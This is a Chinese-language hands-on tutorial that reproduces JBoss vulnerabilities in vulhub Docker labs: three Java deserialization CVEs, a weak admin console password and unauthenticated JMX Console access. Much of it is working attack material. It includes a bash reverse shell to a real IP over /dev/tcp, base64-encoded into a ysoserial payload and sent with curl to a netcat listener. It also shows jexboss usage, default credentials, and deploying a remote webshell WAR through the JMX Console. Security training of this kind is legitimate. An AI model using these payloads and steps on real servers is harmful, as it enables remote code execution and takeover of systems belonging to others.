目录
三、Jboss
Jboss介绍
3.1 CVE-2015-7501
漏洞介绍
影响范围
环境搭建
漏洞复现
3.2 CVE-2017-7504
漏洞介绍
影响范围
环境搭建
漏洞复现
3.3 CVE-2017-12149
漏洞简述
漏洞范围
漏洞复现
3.4 Administration Console弱囗令
漏洞描述
影响版本
环境搭建
密码文件
漏洞复现
3.5 低版本JMX Console未授权
漏洞描述
影响范围
环境搭建
漏洞复现
3.6 高版本JMX Console未授权
漏洞描述
影响版本
环境搭建
漏洞复现
三、Jboss
Jboss介绍
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域JBoss是发展最为迅速应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发这使得JBoss广为流行。
3.1 CVE-2015-7501
Jboss JMXInvokerServlet 反序列化漏洞
漏洞介绍
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象然后我们利用Apache Commons Collections中的 Gadget 执行任意代码
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0 CP10
JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform(SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBOSS BRMS (BRMS) 6.1.0
JBOSS BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server(EWS) 2.1,3.0
环境搭建
cd vulhub/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
漏洞复现
1.POC,访问地址
http://47.99.98.0:8080/invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞
2.下载 ysoserial 工具进行漏洞利用
https://github.com/frohoff/ysoserial
将反弹shell进行base64编码
bash -i >& /dev/tcp/47.99.98.0/7777 0>&1
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OS45OC4wLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}">exp.ser
3.服务器设置监听得端⼝
nc -lvvp 7777
4.执行命令
curl http://47.99.98.0:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
5.反弹成功
3.2 CVE-2017-7504
JBossMQ JMS 反序列化漏洞
漏洞介绍
JBoSS AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerlLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行
影响范围
JBoss 4.x 以及之前的所有版本
环境搭建
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
1.访问漏洞地址
http://47.99.98.0:8602/jbossmq-httpil/HTTPServerILServlet
python jexboss.py -u http://47.99.98.0:8602/
3.3 CVE-2017-12149
JBoss 5.x/6.x反序列化漏洞
漏洞简述
该漏洞为 Java反序列化错误类型,存在于 Jboss的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
漏洞范围
JBoss 5.x/6.x
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
1.访问漏洞页面,看jboss版本
http://47.99.98.0:8603/
2.验证是否存在漏洞,访问
http://47.99.98.0:8603/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化
返回500,说明页面存在,此页面存在反序列化漏洞
3.使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可:工具:
https://github.com/yunxu1/jboss-_CVE-2017-12149
3.4 Administration Console弱囗令
漏洞描述
Administration Console管理页面存在弱口令,`admin:admin`.登陆后台上传war包,getshell
影响版本
全版本
环境搭建
因为这里用的环境是CVE-2017-12149的靶机
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
密码文件
/iboss-6.1.0.Final/server/default/conf/props/imx-console-users.properties
账户密码:admin:vulhub
漏洞复现
http://47.99.98.0:8603/admin-console/login.seam?conversationld=4
1.登录后台,点击web应用
admin vulhub
2.上传后门shell.war
3.连接WebShell
http://47.99.98.0:8603/test/1.jsp
3.5 低版本JMX Console未授权
低版本JMX Console未授权访问Getshell
漏洞描述
此漏洞主要是由于JBoss中/imx-console/HtmIAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到 jmx控制台,并在其中执行任何功能。
影响范围
Jboss4.x以下
环境搭建
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
1.访问
http://47.99.98.0:8602/jmx-console/
2.这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进入)
admin admin
3.然后找到jboss.deployment (jboss 自带得部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过URL的方式远程部署)
4.找到页面中的void addURL()选项远程加载war包来部署
5.制作war包,这里用之前制作好的test.war,填写war包远程地址
http://47.99.98.0/test.war
6.然后跳转以下页面
7.webshell连接
http://47.99.98.0:8602/test/1.jsp
pass
3.6 高版本JMX Console未授权
漏洞描述
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面,通过部署war包,getshell
影响版本
Jboss6.x以下
环境搭建
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
http://47.99.98.0:8603/jmx-console
因为使用环境不存在该漏洞所以需要输入账户密码:admin vulhub
1.本地搭建部署点
在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下
2.进入service=MainDeployer页面之后,找到methodindex为17或19的deploy 填写远程war包地址进行远程部署
3.搭建远程部署,部署远程war包地址
4.然后输入lnvoke
http://47.99.98.0/test.war
点击Invoke
5.连接Webshel
http://47.99.98.0:8603/test/1.jsp
pass